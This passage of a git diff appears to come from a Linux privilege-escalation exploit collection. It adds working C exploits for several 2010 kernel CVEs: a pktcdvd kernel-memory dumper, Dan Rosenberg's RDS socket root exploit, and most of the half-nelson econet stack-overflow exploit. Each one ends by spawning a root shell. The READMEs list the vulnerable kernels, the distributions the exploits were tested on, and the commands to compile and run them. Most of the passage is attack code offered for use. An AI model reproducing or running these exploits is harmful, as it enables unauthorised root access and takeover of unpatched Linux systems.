|
||||
|
||||
mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("[-] mmap failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] setting up fake pktcdvd_device structure...\n");
|
||||
|
||||
*(unsigned long *) deref_addr = (unsigned long) &pd;
|
||||
|
||||
printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr);
|
||||
|
||||
memset(&cmd, 0, sizeof(cmd));
|
||||
cmd.command = PKT_CTRL_CMD_STATUS;
|
||||
cmd.dev_index = DEV_INDEX;
|
||||
|
||||
ptr = dump;
|
||||
curr_addr = start_addr;
|
||||
|
||||
while (curr_addr < end_addr) {
|
||||
pd.bdev = (struct block_device *) curr_addr;
|
||||
|
||||
ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
|
||||
if (ret < 0) {
|
||||
printf("[-] ioctl of pktcdvd device failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
*(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);
|
||||
|
||||
curr_addr += sizeof(uint32_t);
|
||||
ptr += sizeof(uint32_t);
|
||||
}
|
||||
|
||||
printf("[+] dumping kmem to output...\n");
|
||||
|
||||
printf("\n");
|
||||
print_hex_dump(32, 1, dump, length, 1);
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
}
|
23
98-Linux提权/2010/CVE-2010-3437/README.md
Normal file
23
98-Linux提权/2010/CVE-2010-3437/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2010-3437
|
||||
|
||||
CVE-2010-3437
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3437](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3437)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15150/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc cve-2010-3437.c -o cve-2010-3437
|
||||
$ ./cve-2010-3437
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
285
98-Linux提权/2010/CVE-2010-3904/15285
Normal file
285
98-Linux提权/2010/CVE-2010-3904/15285
Normal file
@ -0,0 +1,285 @@
|
||||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
execl("/bin/sh", "sh", NULL);
|
||||
|
||||
}
|
30
98-Linux提权/2010/CVE-2010-3904/README.md
Normal file
30
98-Linux提权/2010/CVE-2010-3904/README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# CVE-2010-3904
|
||||
|
||||
CVE-2010-3904
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3904](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3904)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/15285/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Debian 6 - Linux 2.6.31-1-686 32bit
|
||||
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
|
||||
- Ubuntu 10.04 - 2.6.32-21-generic-pae #32-Ubuntu x86_32
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-generic-pae #39-Ubuntu x86_32
|
||||
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
|
||||
|
||||
- Debian 6 - Linux 2.6.31-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
|
||||
|
BIN
98-Linux提权/2010/CVE-2010-3904/rds
Normal file
BIN
98-Linux提权/2010/CVE-2010-3904/rds
Normal file
Binary file not shown.
BIN
98-Linux提权/2010/CVE-2010-3904/rds64
Normal file
BIN
98-Linux提权/2010/CVE-2010-3904/rds64
Normal file
Binary file not shown.
608
98-Linux提权/2010/CVE-2010-4073/17787.c
Normal file
608
98-Linux提权/2010/CVE-2010-4073/17787.c
Normal file
@ -0,0 +1,608 @@
|
||||
/*
|
||||
* half-nelson.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
|
||||
*
|
||||
* Stack-based buffer overflow in the econet_sendmsg function in
|
||||
* net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
|
||||
* econet address is configured, allows local users to gain privileges by
|
||||
* providing a large number of iovec structures.
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
|
||||
*
|
||||
* The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
|
||||
* before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
|
||||
* allows local users to bypass intended access restrictions and configure
|
||||
* econet addresses via an SIOCSIFADDR ioctl call.
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
|
||||
*
|
||||
* The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
|
||||
* initialize certain structures, which allows local users to obtain
|
||||
* potentially sensitive information from kernel stack memory.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc half-nelson.c -o half-nelson -lrt
|
||||
* $ ./half-nelson
|
||||
* [+] looking for symbols...
|
||||
* [+] resolved symbol commit_creds to 0xffffffff81088ad0
|
||||
* [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
|
||||
* [+] resolved symbol ia32_sysret to 0xffffffff81046692
|
||||
* [+] spawning children to achieve adjacent kstacks...
|
||||
* [+] found parent kstack at 0xffff88001c6ca000
|
||||
* [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
|
||||
* [+] lower child spawning a helper...
|
||||
* [+] lower child calling compat_sys_wait4 on helper...
|
||||
* [+] helper going to sleep...
|
||||
* [+] upper child triggering stack overflow...
|
||||
* [+] helper woke up
|
||||
* [+] lower child returned from compat_sys_wait4
|
||||
* [+] parent's restart_block has been clobbered
|
||||
* [+] escalating privileges...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* This exploit leverages three vulnerabilities to escalate privileges.
|
||||
* The primary vulnerability is a kernel stack overflow, not a stack buffer
|
||||
* overflow as the CVE description incorrectly states. I believe this is the
|
||||
* first public exploit for a kernel stack overflow, and it turns out to be
|
||||
* a bit tricky due to some particulars of the econet vulnerability. A full
|
||||
* breakdown of the exploit is forthcoming.
|
||||
*
|
||||
* Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <syscall.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/sem.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <netinet/in.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define IOVS 446
|
||||
#define NPROC 1024
|
||||
#define KSTACK_SIZE 8192
|
||||
|
||||
#define KSTACK_UNINIT 0
|
||||
#define KSTACK_UPPER 1
|
||||
#define KSTACK_LOWER 2
|
||||
#define KSTACK_DIE 3
|
||||
#define KSTACK_PARENT 4
|
||||
#define KSTACK_CLOBBER 5
|
||||
|
||||
#define LEAK_BASE 0xffff880000000000
|
||||
#define LEAK_TOP 0xffff8800c0000000
|
||||
#define LEAK_DEPTH 500
|
||||
#define LEAK_OFFSET 32
|
||||
|
||||
#define NR_IPC 0x75
|
||||
#define NR_WAIT4 0x72
|
||||
#define SEMCTL 0x3
|
||||
|
||||
#ifndef PF_ECONET
|
||||
#define PF_ECONET 19
|
||||
#endif
|
||||
|
||||
#define STACK_OFFSET 6
|
||||
#define RESTART_OFFSET 40
|
||||
|
||||
struct ec_addr {
|
||||
unsigned char station;
|
||||
unsigned char net;
|
||||
};
|
||||
|
||||
struct sockaddr_ec {
|
||||
unsigned short sec_family;
|
||||
unsigned char port;
|
||||
unsigned char cb;
|
||||
unsigned char type;
|
||||
struct ec_addr addr;
|
||||
unsigned long cookie;
|
||||
};
|
||||
|
||||
struct ipc64_perm {
|
||||
uint32_t key;
|
||||
uint32_t uid;
|
||||
uint32_t gid;
|
||||
uint32_t cuid;
|
||||
uint32_t cgid;
|
||||
uint32_t mode;
|
||||
uint16_t seq;
|
||||
uint16_t __pad2;
|
||||
unsigned long __unused1;
|
||||
unsigned long __unused2;
|
||||
};
|
||||
|
||||
struct semid64_ds {
|
||||
struct ipc64_perm sem_perm;
|
||||
unsigned long sem_otime;
|
||||
unsigned long __unused1;
|
||||
unsigned long sem_ctime;
|
||||
unsigned long __unused;
|
||||
unsigned long sem_nsems;
|
||||
unsigned long __unused3;
|
||||
unsigned long __unused4;
|
||||
};
|
||||
|
||||
union semun {
|
||||
int val;
|
||||
struct semid_ds *buf;
|
||||
unsigned short *array;
|
||||
struct seminfo *__buf;
|
||||
};
|
||||
|
||||
struct region {
|
||||
unsigned long parent;
|
||||
unsigned long addrs[NPROC];
|
||||
};
|
||||
struct region *region;
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
unsigned long ia32_sysret;
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
kernel_code(void)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
void
|
||||
payload_parent(void)
|
||||
{
|
||||
asm volatile (
|
||||
"mov $kernel_code, %rax\n"
|
||||
"call *%rax\n"
|
||||
);
|
||||
}
|
||||
|
||||
void
|
||||
payload_child(void)
|
||||
{
|
||||
asm volatile (
|
||||
"movq $payload_parent, (%0)\n"
|
||||
"jmpq *%1\n"
|
||||
:
|
||||
: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
|
||||
);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_kstack(void)
|
||||
{
|
||||
int i, size, offset;
|
||||
union semun *arg;
|
||||
struct semid_ds dummy;
|
||||
struct semid64_ds *leaked;
|
||||
char *stack_start, *stack_end;
|
||||
unsigned char *p;
|
||||
unsigned long kstack, *ptr;
|
||||
|
||||
/* make sure our argument is 32-bit accessible */
|
||||
arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
|
||||
if (arg == MAP_FAILED) {
|
||||
printf("[-] failure mapping memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* map a fake stack to use during syscall */
|
||||
stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
|
||||
if (stack_start == MAP_FAILED) {
|
||||
printf("[-] failure mapping memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
stack_end = stack_start + 4096;
|
||||
|
||||
memset(arg, 0, sizeof(union semun));
|
||||
memset(&dummy, 0, sizeof(struct semid_ds));
|
||||
arg->buf = &dummy;
|
||||
|
||||
/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
|
||||
asm volatile (
|
||||
"push %%rax\n"
|
||||
"push %%rbx\n"
|
||||
"push %%rcx\n"
|
||||
"push %%rdx\n"
|
||||
"push %%rsi\n"
|
||||
"push %%rdi\n"
|
||||
"movl %0, %%eax\n"
|
||||
"movl %1, %%ebx\n"
|
||||
"movl %2, %%ecx\n"
|
||||
"movl %3, %%edx\n"
|
||||
"movl %4, %%esi\n"
|
||||
"movq %5, %%rdi\n"
|
||||
"movq %%rsp, %%r8\n"
|
||||
"movq %6, %%rsp\n"
|
||||
"push %%r8\n"
|
||||
"int $0x80\n"
|
||||
"pop %%r8\n"
|
||||
"movq %%r8, %%rsp\n"
|
||||
"pop %%rdi\n"
|
||||
"pop %%rsi\n"
|
||||
"pop %%rdx\n"
|
||||
"pop %%rcx\n"
|
||||
"pop %%rbx\n"
|
||||
"pop %%rax\n"
|
||||
:
|
||||
: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
|
||||
: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
|
||||
);
|
||||
|
||||
/* naively extract a pointer to the kstack from the kstack */
|
||||
p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
|
||||
kstack = *(unsigned long *) p;
|
||||
|
||||
if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
|
||||
printf("[-] failed to leak a suitable kstack address, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
|
||||
printf("[-] failed to leak a suitable kstack address, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
kstack = kstack & ~0x1fff;
|
||||
|
||||
return kstack;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy, sym[512];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (!f) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sym);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sym)) {
|
||||
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
get_adjacent_kstacks(void)
|
||||
{
|
||||
int i, ret, shm, pid, type;
|
||||
|
||||
/* create shared communication channel between parent and its children */
|
||||
shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
if (shm < 0) {
|
||||
printf("[-] failed creating shared memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = ftruncate(shm, sizeof(struct region));
|
||||
if (ret != 0) {
|
||||
printf("[-] failed resizing shared memory, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
|
||||
memset(region, KSTACK_UNINIT, sizeof(struct region));
|
||||
|
||||
/* parent kstack self-discovery */
|
||||
region->parent = get_kstack();
|
||||
|
||||
printf("[+] found parent kstack at 0x%lx\n", region->parent);
|
||||
|
||||
/* fork and discover children with adjacently-allocated kernel stacks */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
pid = fork();
|
||||
|
||||
if (pid > 0) {
|
||||
type = KSTACK_PARENT;
|
||||
continue;
|
||||
} else if (pid == 0) {
|
||||
/* children do kstack self-discovery */
|
||||
region->addrs[i] = get_kstack();
|
||||
|
||||
/* children sleep until parent has found adjacent children */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
if (region->addrs[i] == KSTACK_DIE) {
|
||||
/* parent doesn't need us :-( */
|
||||
exit(0);
|
||||
} else if (region->addrs[i] == KSTACK_UPPER) {
|
||||
/* we're the upper adjacent process */
|
||||
type = KSTACK_UPPER;
|
||||
break;
|
||||
} else if (region->addrs[i] == KSTACK_LOWER) {
|
||||
/* we're the lower adjacent process */
|
||||
type = KSTACK_LOWER;
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
printf("[-] fork failed, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
return type;
|
||||
}
|
||||
|
||||
void
|
||||
do_parent(void)
|
||||
{
|
||||
int i, j, upper, lower;
|
||||
|
||||
/* parent sleeps until we've discovered all the child kstacks */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
if (region->addrs[i] == KSTACK_UNINIT) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == NPROC) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* figure out if we have any adjacent child kstacks */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
for (j = 0; j < NPROC; ++j) {
|
||||
if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (j != NPROC) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i == NPROC && j == NPROC) {
|
||||
printf("[-] failed to find adjacent kstacks, try again!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
upper = i;
|
||||
lower = j;
|
||||
|
||||
printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
|
||||
|
||||
/* signal to non-adjacent children to die */
|
||||
for (i = 0; i < NPROC; ++i) {
|
||||
if (i != upper && i != lower) {
|
||||
region->addrs[i] = KSTACK_DIE;
|
||||
}
|
||||
}
|
||||
|
||||
/* signal adjacent children to continue on */
|
||||
region->addrs[upper] = KSTACK_UPPER;
|
||||
region->addrs[lower] = KSTACK_LOWER;
|
||||
|
||||
/* parent sleeps until child has clobbered the fptr */
|
||||
while (1) {
|
||||
sleep(1);
|
||||
if (region->parent == KSTACK_CLOBBER) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("[+] escalating privileges...\n");
|
||||
|
||||
/* trigger our clobbered fptr */
|
||||
syscall(__NR_restart_syscall);
|
||||
|
||||
/* our privileges should be escalated now */
|
||||
if (getuid() != 0) {
|
||||
printf("[-] privilege escalation failed, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
||||
|
||||
void
|
||||
do_child_upper(void)
|
||||
{
|
||||
int i, ret, eco_sock;
|
||||
struct sockaddr_ec eco_addr;
|
||||
struct msghdr eco_msg;
|
||||
struct iovec iovs[IOVS];
|
||||
struct ifreq ifr;
|
||||
char *target;
|
||||
|
||||
/* calculate payload target, skip prologue */
|
||||
target = (char *) payload_child;
|
||||
target += 4;
|
||||
|
||||
/* give lower child a chance to enter its wait4 call */
|
||||
sleep(1);
|
||||
|
||||
/* write some zeros */
|
||||
for (i = 0; i < STACK_OFFSET; ++i) {
|
||||
iovs[i].iov_base = (void *) 0x0;
|
||||
iovs[i].iov_len = 0;
|
||||
}
|
||||
|
||||
/* overwrite saved ia32_sysret address on stack */
|
||||
